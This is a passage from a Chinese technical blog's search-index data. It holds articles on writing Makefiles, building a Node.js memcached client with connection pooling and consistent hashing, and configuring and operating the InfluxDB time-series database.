徽章了。 ","date":"2019-12-21","objectID":"/ava-codecov-travis/:4:0","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"结语 shields.io 徽章有多种,根据你的需要进行相应的配置即可,本文使用了 codecov 和 travis-ci 作为示例,但是还有很多其他的平台任由你选。 ","date":"2019-12-21","objectID":"/ava-codecov-travis/:5:0","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"使用 Makefile 构建指令集","date":"2019-12-15","objectID":"/makefile/","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"使用 Makefile 构建指令集 make 是一个历史悠久的构建工具,通过配置 Makefile 文件就可以很方便的使用你自己自定义的各种指令集,且与具体的编程语言无关。 例如配置如下的 Makefile : run dev: NODE_ENV=development nodemon server.js 这样当你在命令行执行 make run dev 时其实就会执行 NODE_ENV=development nodemon server.js 指令。 使用 Makefile 构建指令集可以很大的提升工作效率。 ","date":"2019-12-15","objectID":"/makefile/:0:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"Makefile 基本语法 \u003ctarget\u003e: \u003cprerequisites\u003e \u003ccommands\u003e target 其实就是执行的目标,prerequisites 是执行这条指令的前置条件,commands 就是具体的指令内容。 示例: build: clean go build -o myapp main.go clean: rm -rf myapp 这里的 build 有一个前置条件 clean ,意思就是当你执行 make build 时,会先执行 clean 的指令内容 rm -rf myapp ,然后再执行 build 的内容 go build -o myapp main.go 。 ","date":"2019-12-15","objectID":"/makefile/:1:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"变量 自定义变量,示例: APP=myapp build: clean go build -o ${APP} main.go clean: rm -rf ${APP} ","date":"2019-12-15","objectID":"/makefile/:2:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"PHONY 上例中的定义了 target 目标有 build 和 clean ,如果当前目录中正好有一个文件叫做 build 或 clean,那么其指令内容不会执行,这是因为 make 会把 target 视为文件,只有当文件不存在或发生改变时才会去执行命令。 为了解决这个问题,我们需要使用 PHONY 声明 target 其实是伪目标: APP=myapp .PHONY: build build: clean go build -o ${APP} main.go .PHONY: clean clean: rm -rf ${APP} 多个 PHONY 也可以统一声明在一行中: .PHONY: build clean ","date":"2019-12-15","objectID":"/makefile/:3:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"递归的目标 假设我们的工程目录结构如下: ~/project ├── main.go ├── Makefile └── mymodule/ ├── main.go └── Makefile 文件根目录下还有一个文件夹 mymodule,它可能是一个单独的模块,也需要打包构建,并且定义有自己的 Makefile : # ~/project/mymodule/Makefile APP=module build: go build -o ${APP} main.go 现在当你处于项目的根目录时,如何去执行 mymodule 子目录下定义的 Makefile 呢? 使用 cd 命令也可以,不过我们有其它的方式去解决这个问题:使用 -C 标志和特定的 ${MAKE} 变量。 修改项目根目录中的 Makefile 为: APP=myapp .PHONY: build build: clean go build -o ${APP} main.go .PHONY: clean clean: rm -rf ${APP} .PHONY: build-mymodule build-mymodule: ${MAKE} -C mymodule build 这样,当你执行 make build-mymodule 时,其将会自动切换到 mymodule 目录,并且执行 mymodule 目录下的 Makefile 中定义的 build 指令。 ","date":"2019-12-15","objectID":"/makefile/:4:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"shell 输出作为变量 我们可以把 shell 中执行的指令的输出作为变量: V=$(shell go version) gv: echo ${V} 这里执行 make gv 就会先执行 go version 指令然后把输出的内容赋值给变量 V 。 ","date":"2019-12-15","objectID":"/makefile/:5:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"判断语句 假设我们的指令依赖于环境变量 ENV ,我们可以使用一个前置条件去检查是否忘了输入 ENV : .PHONY: run run: check-env echo ${ENV} check-env: ifndef ENV $(error ENV not set, allowed values - `staging` or `production`) endif 这里当我们执行 make run 时,因为有前置条件 check-env 会先执行前置条件中的内容,指令内容是一个判断语句,判断 ENV 是否未定义,如果未定义,则会抛出一个错误,错误提示就是 error 后面的内容。 ","date":"2019-12-15","objectID":"/makefile/:6:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"帮助提示 添加 help 帮助提示: .PHONY: build ## build: build the application build: clean @echo \"Building...\" @go build -o ${APP} main.go .PHONY: run ## run: runs go run main.go run: go run -race main.go .PHONY: clean ## clean: cleans the binary clean: @echo \"Cleaning\" @rm -rf ${APP} .PHONY: setup ## setup: setup go modules setup: @go mod init \\ \u0026\u0026 go mod tidy \\ \u0026\u0026 go mod vendor .PHONY: help ## help: prints this help message help: @echo \"Usage: \\n\" @sed -n 's/^##//p' ${MAKEFILE_LIST} | column -t -s ':' | sed -e 's/^/ /' 这样当你执行 make help 时,就是打印如下的提示内容: Usage: build build the application run runs go run main.go clean cleans the binary setup setup go modules help prints this help message ","date":"2019-12-15","objectID":"/makefile/:7:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"参考资料 https://danishpraka.sh/2019/12/07/using-makefiles-for-go.html http://www.ruanyifeng.com/blog/2015/02/make.html https://www.gnu.org/software/make/manual/make.html ","date":"2019-12-15","objectID":"/makefile/:8:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议","date":"2019-12-09","objectID":"/create-memcached-client/","tags":["Node.js","Memcached"],"title":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议","uri":"/create-memcached-client/"},{"categories":["Uncate"],"content":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议。 废话不多说,文本将带你实现一个简单的 memcached 客户端。 ","date":"2019-12-09","objectID":"/create-memcached-client/:0:0","tags":["Node.js","Memcached"],"title":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议","uri":"/create-memcached-client/"},{"categories":["Uncate"],"content":"集群:一致性哈希 memcached 本身并不支持集群,为了使用集群,我们可以自己在客户端实现路由分发,将相同的 key 路由到同一台 memcached 上去即可。 路由算法有很多,这里我们使用一致性哈希算法。 一致性哈希算法的原理: 一致性哈希算法已经有开源库 hashring 实现,基本用法: const HashRing = require('hashring'); // 输入集群地址构造 hash ring const ring = new HashRing(['127.0.0.1:11211', '127.0.0.2:11211']); // 输入 key 获取指定节点 const host = ring.get(key); ","date":"2019-12-09","objectID":"/create-memcached-client/:1:0","tags":["Node.js","Memcached"],"title":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议","uri":"/create-memcached-client/"},{"categories":["Uncate"],"content":"TCP 编程 包括 memcached 在内的许多系统对外都是通过 TCP 通信。在 Node.js 中建立一个 TCP 连接并进行数据的收发很简单: const net = require('net'); const socket = new net.Socket(); socket.connect({ host: host, // 目标主机 port: port, // 目标端口 // localAddress: localAddress, // 本地地址 // localPort: localPort, // 本地端口 }); socket.setKeepAlive(true); // 保活 // 连接相关 socket.on('connect', () =\u003e { console.log(`socket connected`); }); socket.on('error', error =\u003e { console.log(`socket error: ${error}`); }); socket.on('close', hadError =\u003e { console.log(`socket closed, transmission error: ${hadError}`); }); socket.on('data', data =\u003e { // 接受数据 }); socket.write(data); // 发送数据 一条连接由唯一的五元组确定,所谓的五元组就是:协议(比如 TCP 或者 UDP)、本地地址、本地端口、远程地址、远程端口。 系统正是通过五元组去区分不同的连接,其中本地地址和本地端口由于在缺省情况下会自动生成,常常会被我们忽视。 ","date":"2019-12-09","objectID":"/create-memcached-client/:2:0","tags":["Node.js","Memcached"],"title":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议","uri":"/create-memcached-client/"},{"categories":["Uncate"],"content":"连接池 一次完整的 TCP 通信过程为:三次握手,建立连接 –\u003e 数据传递 –\u003e 挥手,关闭连接。 我们都知道握手建立连接的过程是非常消耗资源的,而连接池就是为了解决这个问题,连接池是一个通用的模型,它包括: 建立连接,将连接放入池中。 需要使用连接时(进行数据收发),从连接池中取出连接。 连接使用完成后,将连接放回到池中。 其它。 可以看到所谓的连接池其实就是在连接使用完成后并不是立即关闭连接,而是让连接保活,等待下一次使用,从而避免反复建立连接的过程。 正如上文所述,连接池是一个通用的模型,我们这里直接使用开源库 generic-pool 。 池化 TCP 连接示例: const net = require('net'); const genericPool = require('generic-pool'); // 自定义创建连接池的函数 function _buildPool(remote_server) { const factory = { create: function () { return new Promise((resolve, reject) =\u003e { const host = remote_server.split(':')[0]; const port = remote_server.split(':')[1]; const socket = new net.Socket(); socket.connect({ host: host, // 目标主机 port: port, // 目标端口 }); socket.setKeepAlive(true); socket.on('connect', () =\u003e { console.log(`socket connected: ${remote_server} , local: ${socket.localAddress}:${socket.localPort}`); resolve(socket); }); socket.on('error', error =\u003e { console.log(`socket error: ${remote_server} , ${error}`); reject(error); }); socket.on('close', hadError =\u003e { console.log(`socket closed: ${remote_server} , transmission error: ${hadError}`); }); }); }, destroy: function (socket) { return new Promise((resolve) =\u003e { socket.destroy(); resolve(); }); }, validate: function (socket) { // validate socket return new Promise((resolve) =\u003e { if (socket.connecting || socket.destroyed || !socket.readable || !socket.writable) { return resolve(false); } else { return resolve(true); } }); } }; const pool = genericPool.createPool(factory, { max: 10, // 最大连接数 min: 0, // 最小连接数 testOnBorrow: true, // 从池中取连接时进行 validate 函数验证 }); return pool; } // 连接池基本使用 const pool = _buildPool('127.0.0.1:11211'); // 构建连接池 const s = await pool.acquire(); // 从连接池中取连接 await pool.release(s); // 使用完成后释放连接 ","date":"2019-12-09","objectID":"/create-memcached-client/:3:0","tags":["Node.js","Memcached"],"title":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议","uri":"/create-memcached-client/"},{"categories":["Uncate"],"content":"对接自定义协议 包括 memcached 在内的许多系统都定义了一套自己的协议用于对外通信,为了实现 memcached 客户端当然就要遵守它的协议内容。 memcached 客户端协议,我们实现最简单的 get 方法: 发送的数据格式: get \u003ckey\u003e\\r\\n 接受的数据格式: VALUE \u003ckey\u003e \u003cflags\u003e \u003cbytes\u003e\\r\\n \u003cdata block\u003e\\r\\n 实现示例: // 定义一个请求方法并返回响应数据 function _request(command) { return new Promise(async (resolve, reject) =\u003e { try { // ...这里省略了连接池构建相关部分 const s = await pool.acquire(); // 取连接 const bufs = []; s.on('data', async buf =\u003e { // 监听 data 事件接受响应数据 bufs.push(buf); const END_BUF = Buffer.from('\\r\\n'); // 数据接受完成的结束位 if (END_BUF.equals(buf.slice(-2))) { s.removeAllListeners('data'); // 移除监听 try { await pool.release(s); // 释放连接 } catch (error) { } const data = Buffer.concat(bufs).toString(); return resolve(data); } }); s.write(command); } catch (error) { return reject(error); } }); } // get function get(key) { return new Promise(async (resolve, reject) =\u003e { try { const command = `get ${key}\\r\\n`; const data = await _request(key, command); // ...响应数据的处理,注意有省略 // key not exist if (data === 'END\\r\\n') { return resolve(undefined); } /* VALUE \u003ckey\u003e \u003cflags\u003e \u003cbytesLength\u003e\\r\\n \u003cdata block\u003e\\r\\n */ const data_arr = data.split('\\r\\n'); const response_line = data_arr[0].split(' '); const value_flag = response_line[2]; const value_length = Number(response_line[3]); let value = data_arr.slice(1, -2).join(''); value = unescapeValue(value); // unescape \\r\\n // ...有省略 return resolve(value); } catch (error) { return reject(error); } }); } 以上示例都单独拿出来了,其实是在整合在一个 class 中的: class Memcached { constructor(serverLocations, options) { this._configs = { ...{ pool: { max: 1, min: 0, idle: 30000, // 30000 ms. }, timeout: 5000, // timeout for every command, 5000 ms. retries: 5, // max retry times for failed request. maxWaitingClients: 10000, // maximum number of queued requests allowed }, ...options }; this._hashring = new HashRing(serverLocations); this._pools = {}; // 通过 k-v 的形式存储具体的地址及它的连接池 } _buildPool(remote_server) { // ... } _request(key, command) { // ... } // get async get(key) { // ... } // ... 其他方法 } // 使用实例 const memcached = new Memcached(['127.0.0.1:11211'], { pool: { max: 10, min: 0 } }); const key = 'testkey'; const result = await memcached.get(key); 完整的示例可以看 io-memcached 。 ","date":"2019-12-09","objectID":"/create-memcached-client/:4:0","tags":["Node.js","Memcached"],"title":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议","uri":"/create-memcached-client/"},{"categories":["InfluxDB"],"content":"时序数据库 InfluxDB(七)","date":"2019-11-17","objectID":"/7/","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(七)","uri":"/7/"},{"categories":["InfluxDB"],"content":" 单点故障和容灾备份 InfluxDB 开源的社区版本面临的最大的问题就是单点故障和容灾备份,有没有一个简单的方案去解决这个问题呢? 既然有单点故障的可能,那么索性写入多个节点,同时也解决了容灾备份的问题: 1、在不同的机器上配置多个 InfluxDB 实例,写入数据时,直接由客户端并发写入多个实例。(为什么不用代理,因为代理自身就是个单点)。 2、当某个 InfluxDB 实例故障而导致写入失败时,记录失败的数据和节点,这些失败的数据可以临时存储在数据库、消息中间件、日志文件等等里面。 3、通过自定义的 worker 拉取上一步记录的失败的数据然后重写这些数据。 4、多个 InfluxDB 中的数据最终一致。 当然你需要注意的是: 1、由于是并发写入多个节点,且不同机器的状况不一,所以写入数据应该设置一个超时时间。 2、写入失败的数据必须要与节点相对应,同时你应该考虑如何去定义失败的数据:由于格式不正确或者权限问题导致的 4xx 或者 InfluxDB 本身异常导致的 5xx ,这些与 InfluxDB 宕机等故障导致的失败显然是不同的。 3、由于失败的数据需要临时存储在一个数据容器中,你应该考虑所使用的数据容器能否承载故障期间写入的数据压力,以及如果数据要求不可丢失,那么数据容器也需要有对应的支持。 4、失败数据的重写是一个异步的过程,所以写入的数据应该由客户端指定明确的时间戳,而不是使用 InfluxDB 写入时默认生成的时间戳。 5、故障期间多个 InfluxDB 可能存在数据不一致的情况。 相关文章: 时序数据库 InfluxDB(一) 时序数据库 InfluxDB(二) 时序数据库 InfluxDB(三) 时序数据库 InfluxDB(四) 时序数据库 InfluxDB(五) 时序数据库 InfluxDB(六) 时序数据库 InfluxDB(七) ","date":"2019-11-17","objectID":"/7/:0:0","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(七)","uri":"/7/"},{"categories":["InfluxDB"],"content":"时序数据库 InfluxDB(六)","date":"2019-11-06","objectID":"/6/","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(六)","uri":"/6/"},{"categories":["InfluxDB"],"content":" CQ 连续查询 连续查询 Continuous Queries( CQ )是 InfluxDB 很重要的一项功能,它的作用是在 InfluxDB 数据库内部自动定期的执行查询,然后将查询结果存储到指定的 measurement 里。 配置文件中的相关配置: [continuous_queries] enabled = true log-enabled = true query-stats-enabled = false run-interval = \"1s\" enabled = true :开启CQ log-enabled = true :输出 CQ 日志 query-stats-enabled = false :关闭 CQ 执行相关的监控,不会将统计数据写入默认的监控数据库 _internal run-interval = “1s” :InfluxDB 每隔 1s 检查是否有 CQ 需要执行 基本语法 一 、 基本语法: CREATE CONTINUOUS QUERY \u003ccq_name\u003e ON \u003cdatabase_name\u003e BEGIN \u003ccq_query\u003e END 在某个数据库上创建一个 CQ ,而查询的具体内容 cq_query 的语法为: SELECT \u003cfunction[s]\u003e INTO \u003cdestination_measurement\u003e FROM \u003cmeasurement\u003e [WHERE \u003cstuff\u003e] GROUP BY time(\u003cinterval\u003e)[,\u003ctag_key[s]\u003e] SELECT function[s] : 连续查询并不只是简单的查询原始数据,而是基于原始数据进行聚合、特选、转换、预测等处理,所以 CQ 必须要有一个或多个数据处理函数。 INTO \u003cdestination_measurement\u003e : 将 CQ 的结果存储到指定的 measurement 中。 FROM : 原始数据的来源 measurement 。 [WHERE ] : 可选项,原始数据的筛选条件。 GROUP BY time()[,\u003ctag_key[s]\u003e] : 连续查询不是查一次就完了,而是每次查询指定时间范围内的数据,不断周期性的执行下去。 定位一个 measurement 的完整格式是: \u003cdatabase\u003e.\u003cRP\u003e.\u003cmeasurement\u003e 使用当前数据库和默认 RP 的情况就只需要 measurement 。 InfluxDB 支持的时长单位: ns : 纳秒 u / µ : 微秒 ms : 毫秒 s : 秒 m : 分钟 h : 小时 d : 天 w : 周 二、 1、CQ 在何时执行? CQ 在何时执行取决于 CQ 创建完成的时间点、GROUP BY time() 设置的时间间隔、以及 InfluxDB 数据库预设的时间边界(这个预设的时间边界其实就是 1970.01.01 00:00:00 UTC 时间,对应 Unix timestamp 的 0 值)。 假设我在 2019.11.05(北京时间)创建好了一个 GROUP BY time(30d) 的 CQ(也就是时间间隔为 30 天),那么这个 CQ 会在什么时间点执行? 首先,2019.11.05 号转换为 timestamp 是 1572883200 秒; 再算1572883200 距离 0 值隔了多少个 30 天(一天是 86400 秒),1572883200/86400/30 = 606.8 ; 那么下一个 30 天就是 606.8 向上取整 607 ,6078640030 = 1573344000 ,转换为对应的日期就是 2019.11.10 号,这也就是第一次执行 CQ 的时间,之后每次执行就是往后推 30 天。 如果每次都这样算就很麻烦,但其实我们更常使用的时间间隔没有那么长,通常都是秒、分钟、小时单位,这种情况下直接从 0 速算就可以了,比如: 在时间点 16:09:35 创建了 CQ ,GROUP BY time(30s) ,那么 CQ 的执行时间就是 16:10:00、16:10:30、16:11:00 以此类推(从 0s 开始速算)。 在时间点 16:16:08 创建了 CQ ,GROUP BY time(5m) ,那么 CQ 的执行时间就是 16:20:00、16:25:00、16:30:00 以此类推(从 0m 开始速算)。 在时间点 16:38:27 创建了 CQ ,GROUP BY time(2h) ,那么 CQ 的执行时间就是 18:00:00 、20:00:00 、22:00:00 以此类推(从 0h 开始速算)。 2、CQ 执行的数据范围? 连续查询会根据 GROUP BY time() 的时间间隔确定作用的数据,每次执行所针对的数据的时间范围是 [ now() - GROUP BY time() ,now() ) 。 例如,GROUP BY time(1h) : 在 8:00 执行时,数据是时间大于等于 7:00,小于 8:00,即 [ 7:00 , 8:00 ) 范围内的数据。 在 9:00 执行时,数据是时间大于等于 8:00,小于 9:00,即 [ 8:00 , 9:00 ) 范围内的数据。 你可以使用 WHERE 去过滤数据,但是 WHERE 里指定的时间范围会被忽略掉。 3、CQ 的执行结果? CQ 会将执行结果存储到指定的 measurement ,但是存储的具体字段有哪些呢?首先 time 是必不可少的,time 写入的是 CQ 执行时数据范围的开始时间点;其次就是 function 的处理结果,如果只有单一字段,那么 field key 就是 function 的名称,如果有多个字段,那么 field key 就是 function 名称_作用字段。 例如,GROUP BY time(30m) ,UTC 7:30 执行: 单一字段: SELECT mean(\"field\") INTO \"result_measurement\" FROM \"source_measurement\" GROUP BY time(30m) CQ 结果: time mean 2019-11-05T07:00:00Z 7 多字段: SELECT mean(\"*\") INTO \"result_measurement\" FROM \"source_measurement\" GROUP BY time(30m) CQ 结果: time mean_field1 mean_field2 2019-11-05T07:00:00Z 7 6.5 这里的 mean 对应的是 function 里的平均值函数。 三、 GROUP BY time() 的完整格式是: GROUP BY time(\u003cinterval\u003e[,\u003coffset_interval\u003e]) 第二个参数 offset_interval 偏移量是可选的,这个偏移量会对 CQ 的执行时间和数据范围产生影响。 如果 GROUP BY time(1h) ,在 8:00 执行,数据范围是 [ 7:00 , 8:00 ) 。 那么 GROUP BY time(1h, 15m) 会使 CQ 的执行时间向后推迟 15m ,即在 8:15 执行,数据范围也就变成了 [ 7:15 , 8:15 ) 。 高级语法 高级语法: CREATE CONTINUOUS QUERY \u003ccq_name\u003e ON \u003cdatabase_name\u003e RESAMPLE EVERY \u003cinterval\u003e FOR \u003cinterval\u003e BEGIN \u003ccq_query\u003e END 与基本语法不同的是,高级语法多了 RESAMPLE EVERY \u003cinterval\u003e FOR \u003cinterval\u003e 1、RESAMPLE EVERY EVERY 定义了 CQ 执行的间隔: RESAMPLE EVERY 30m 意思就是每隔 30m 执行一次 CQ 。 示例: CREATE CONTINUOUS QUERY \"cq_every\" ON \"db\" RESAMPLE EVERY 30m BEGIN SELECT mean(\"field\") INTO \"result_measurement\" FROM \"source_measurement\" GROUP BY time(1h) END 如果没有 RESAMPLE EVERY 30m ,只有 GROUP BY time(1h) 将会: 在 8:00 执行 CQ ,数据范围是 [ 7:00 , 8:00 ) 在 9:00 执行 CQ ,数据范围是 [ 8:00 , 9:00 ) 增加了 RESAMPLE EVERY 30m 之后,每 30m 执行一次 CQ : 在 8:00 执行 CQ ,数据范围是 [ 7:00 , 8:00 ) 在 8:30 执行 CQ ,数据范围是 [ 8:00 , 9:00 ) 在 9:00 执行 CQ ,数据范围是 [ 8:00 , 9:00 ) ,由于执行结果的 time 字段是 8:00 与上一次 CQ 一致,因此会覆盖上一次 CQ 的结果。 当 EVERY 的时间间隔小于 GROUP BY time() 时,会增加 CQ 的执行频率(如上述示例)。 当 EVERY 与 GROUP BY time() 的时间间隔一致时,无影响。 当 EVERY 的时间间隔大于 GROUP BY time() 时,CQ 执行时间和数据范围完全由 EVERY 控制,例如 EVERY 30m ,GROUP BY tim","date":"2019-11-06","objectID":"/6/:0:0","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(六)","uri":"/6/"},{"categories":["InfluxDB"],"content":"时序数据库 InfluxDB(五)","date":"2019-10-30","objectID":"/5/","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(五)","uri":"/5/"},{"categories":["InfluxDB"],"content":" 系统监控 InfluxDB 自带有一个监控系统,默认情况下此功能是开启的,每隔 10 秒中采集一次系统数据并把数据写入到 _internal 数据库中,其默认使用名称为 monitor 的 RP(数据保留 7 天),相关配置见配置文件中的: [monitor] store-enabled = true store-database = \"_internal\" store-interval = \"10s\" _internal 数据库与其它数据库的使用方式完全一致,其记录的统计数据分为多个 measurements : cq :连续查询 database :数据库 httpd :HTTP 相关 queryExecutor :查询执行器 runtime :运行时 shard :分片 subscriber :订阅者 tsm1_cache :TSM cache 缓存 tsm1_engine :TSM 引擎 tsm1_filestore :TSM filestore tsm1_wal :TSM 预写日志 write :数据写入 比如查询最近一次统计的数据写入情况: select * from \"write\" order by time desc limit 1 _internal 数据库里的这些 measurements 中具体有哪些 field ,每个 field 数据又代表了什么含义,请参考官方文档: https://docs.influxdata.com/platform/monitoring/influxdata-platform/tools/measurements-internal/#influxdb-internal-measurements-and-fields InfluxDB 相关命令: show stats show diagnostics 1、 SHOW STATS [ FOR '\u003ccomponent\u003e' | 'indexes' ] show stats 命令返回的系统数据与 _internal 数据库中的数据结构是一致的,这里的 component 其实就是对应 _internal 中的 measurement ,比如: show stats for 'queryExecutor' 唯一例外的是: show stats for 'indexes' 其会返回所有索引使用的内存大小预估值,且没有 _internal 中的 measurement 与之对应。 2、 SHOW DIAGNOSTIC 返回系统的诊断信息,包括:版本信息、正常运行时间、主机名、服务器配置、内存使用情况、Go 运行时等,这些数据不会存储到 _internal 数据库中。 InfluxDB 也支持通过 HTTP 接口获取系统信息: /metrics :这个接口返回的数据是诸如垃圾回收、内存分配等的 Go 相关指标。 /debug/vars :这个接口返回的数据与 _internal 数据类似。 备份和恢复 InfluxDB 支持本地或远程的数据备份和恢复,其是通过 TCP 连接进行的,对于远程方式,你必须修改配置文件中的: bind-address = \"127.0.0.1:8088\" 将其设置为本机在网络上可通信的对外地址,然后重启服务,执行命令时需要通过 -host 参数对应这个地址。 备份命令: 恢复命令: 备份和恢复的命令参数非常相似,参数的含义也是一目了然的,比如你可以备份指定的数据库、RP、shard,恢复到新的数据库、RP 。 由于备份的格式进行过不兼容的更新,-portable 就是指定使用新的备份格式(强烈建议使用),-online 就是老的备份格式。 所有备份都是全量备份,不支持增量备份。你可能会问,不是有 -start 和 -end 可以指定备份数据的时间范围吗?没错,是可以的,但是备份是在数据块上执行,并不是逐点执行,而数据块又是高度压缩的,你使用 -start 和 -end 时,其还会备份到同一个数据块中的其它数据点,也就是说: 备份和还原可能会包含指定时间范围之外的数据。 如果包含重复的数据点,再次写入则会覆盖现有数据点。 另外,恢复数据时,无法直接恢复到一个已经存在的数据库或者 RP 中,为此你只能先使用一个临时的数据库和 RP ,然后再重新将数据插入到已有的数据库中(比如使用 select … into 语句)。 相关文章: 时序数据库 InfluxDB(一) 时序数据库 InfluxDB(二) 时序数据库 InfluxDB(三) 时序数据库 InfluxDB(四) 时序数据库 InfluxDB(五) 时序数据库 InfluxDB(六) 时序数据库 InfluxDB(七) ","date":"2019-10-30","objectID":"/5/:0:0","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(五)","uri":"/5/"},{"categories":["InfluxDB"],"content":"时序数据库 InfluxDB(四)","date":"2019-10-28","objectID":"/4/","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(四)","uri":"/4/"},{"categories":["InfluxDB"],"content":" 存储引擎 InfluxDB 数据的写入如下图所示: 所有数据先写入到 WAL( Write Ahead Log )预写日志文件,并同步到 Cache 缓存中,当 Cache 缓存的数据达到了一定的大小,或者达到一定的时间间隔之后,数据会被写入到 TSM 文件中。 为了更高效的存储大量数据,存储引擎会将数据进行压缩处理,压缩的输入和输出都是 TSM 文件,因此为了以原子方式替换以及删除 TSM 文件,存储引擎由 FileStore 负责调节对所有 TSM 文件的访问权限。 Compaction Planner 负责确定哪些 TSM 文件已经准备好了可以进行压缩,并确保多个并发压缩不会互相干扰。 Compactor 压缩器则负责具体的 Compression 压缩工作。 为了处理文件,存储引擎通过 Writers/Readers 处理数据的写和读。另外存储引擎还会使用 In-Memory Index 内存索引快速访问 measurements、tags、series 等数据。 存储引擎的组成部分: In-Memory Index :跨分片的共享内存索引,并不是存储引擎本身特有的,存储引擎只是用到了它。 WAL :预写日志。 Cache :同步缓存 WAL 的内容,并最终刷写到 TSM 文件中去。 TSM Files :特定格式存储最终数据的磁盘文件。 FileStore :调节对磁盘上所有TSM文件的访问。 Compactor :压缩器。 Compaction Planner :压缩计划。 Compression :编码解码压缩。 Writers/Readers :读写文件。 硬件指南 为了应对不同的负载情况,我需要机器具有怎样的硬件配置? 由于集群模式只有商业版本,因此这里只看免费的单机版的情况。 为了定义负载,我们关注以下三个指标: 每秒写入 每秒查询 series 基数 对于查询情况,我们根据复杂程度分为三级: 简单查询: 几乎没用函数和正则表达式 时间范围在几分钟,几小时,或者一天之内 执行时间通常在几毫秒到几十毫秒 中等复杂度查询: 使用了多个函数和一两个正则表达式 可能使用了复杂的 GROUP BY 语句,或者时间范围是几个星期 执行时间通常在几百毫秒到几千毫秒 复杂查询: 使用了多个聚合、转换函数,或者多个正则表达式 时间跨度很大,有几个月或几年 执行时间达到秒级 硬件配置需要关注的有:CPU 核数,RAM 内存大小,IOPS 性能。 IOPS( Input/Output Operations Per Second ):每秒读写数,衡量存储设备(如 SSD 固态硬盘、HDD 机械硬盘等)的性能指标。 不同负载情况下的硬件配置参考如下: 由于 SSD 固态硬盘的性能更高,官方也建议使用 SSD ,上图也是使用 SSD 的情况。 对于元数据,诸如 database name、measurement、tag key、tag value、field key 都只会存储一次,只有 field value 和 timestamp 每个点都存储。非字符串的值大约需要三个字节,字符串的值需要的空间大小不固定,需要由压缩情况确定。 内存肯定是越大越好,但是如果 series 基数超过千万级别,在默认使用的 in-memory 索引方式下,会导致内存溢出,在数据结构设计时需要注意。 通过将 wal 和 data 目录设置到不同的存储设备上,有利于减少磁盘的争用,从而应对更高的写入负载。相关配置项(默认的配置文件为 influxdb.conf ): [data] dir = \"/var/lib/influxdb/data\" wal-dir = \"/var/lib/influxdb/wal\" 相关文章: 时序数据库 InfluxDB(一) 时序数据库 InfluxDB(二) 时序数据库 InfluxDB(三) 时序数据库 InfluxDB(四) 时序数据库 InfluxDB(五) 时序数据库 InfluxDB(六) 时序数据库 InfluxDB(七) ","date":"2019-10-28","objectID":"/4/:0:0","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(四)","uri":"/4/"},{"categories":["InfluxDB"],"content":"时序数据库 InfluxDB(三)","date":"2019-10-27","objectID":"/3/","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(三)","uri":"/3/"},{"categories":["InfluxDB"],"content":"数据类型 InfluxDB 是一个无结构模式,这也就是说你无需事先定义好表以及表的数据结构。 InfluxDB 支持的数据类型非常简单: measurement : string tag key : string tag value : string field key : string field value : string , float , interger , boolean 你可以看到除了 field value 支持的数据类型多一点之外,其余全是字符串类型。 当然还有最重要的 timestamp ,InfluxDB 中的时间都是 UTC 时间,而且时间精度非常高,默认为纳秒。 ","date":"2019-10-27","objectID":"/3/:0:1","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(三)","uri":"/3/"},{"categories":["InfluxDB"],"content":"数据结构设计 在实际使用中,数据都是存储在 tag 或者 field 中,这两者最重要的区别就是,tag 会构建索引(也就是说查询时,where 条件里的是 tag ,则查询性能更高),field 则不会被索引。 存储数据到底是使用 tag 还是 field ,参考以下原则: 常用于查询条件的数据存储为 tag 。 计划使用 GROUP BY() 的数据存储为 tag 。 计划使用 InfluxQL function 的数据存储为 field 。 数据不只是 string 类型的存储为 field 。 对于标识性的名称,如 database、RP、user、measurement、tag key、field key 这些应该避免使用 InfluxQL 中的关键字。 其它需要注意的原则: 不要有过于庞大的 series 。若在 tag 中使用 UUID、hash、随机字符串等将会导致数量庞大的 series ,这将会导致更高的内存使用率,尤其是系统内存有限的情况下需要额外注意。 measurement 名称不应该包含具体的数据(表名就是一个单纯的表名),你应该使用不同的 tag 去区分数据,而不是 measurement 名称。 一个 tag 中不要放置多条信息,复杂的信息合理拆分为多个 tag 有助于简化查询并减少使用正则。 ","date":"2019-10-27","objectID":"/3/:0:2","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(三)","uri":"/3/"},{"categories":["InfluxDB"],"content":"索引 InfluxDB 通过构建索引可以提高查询性能。InfluxDB 中的索引有两种:In-memory 和 TSI 。这两种索引只能选择一种,且无法动态更改,一旦更改必须重启 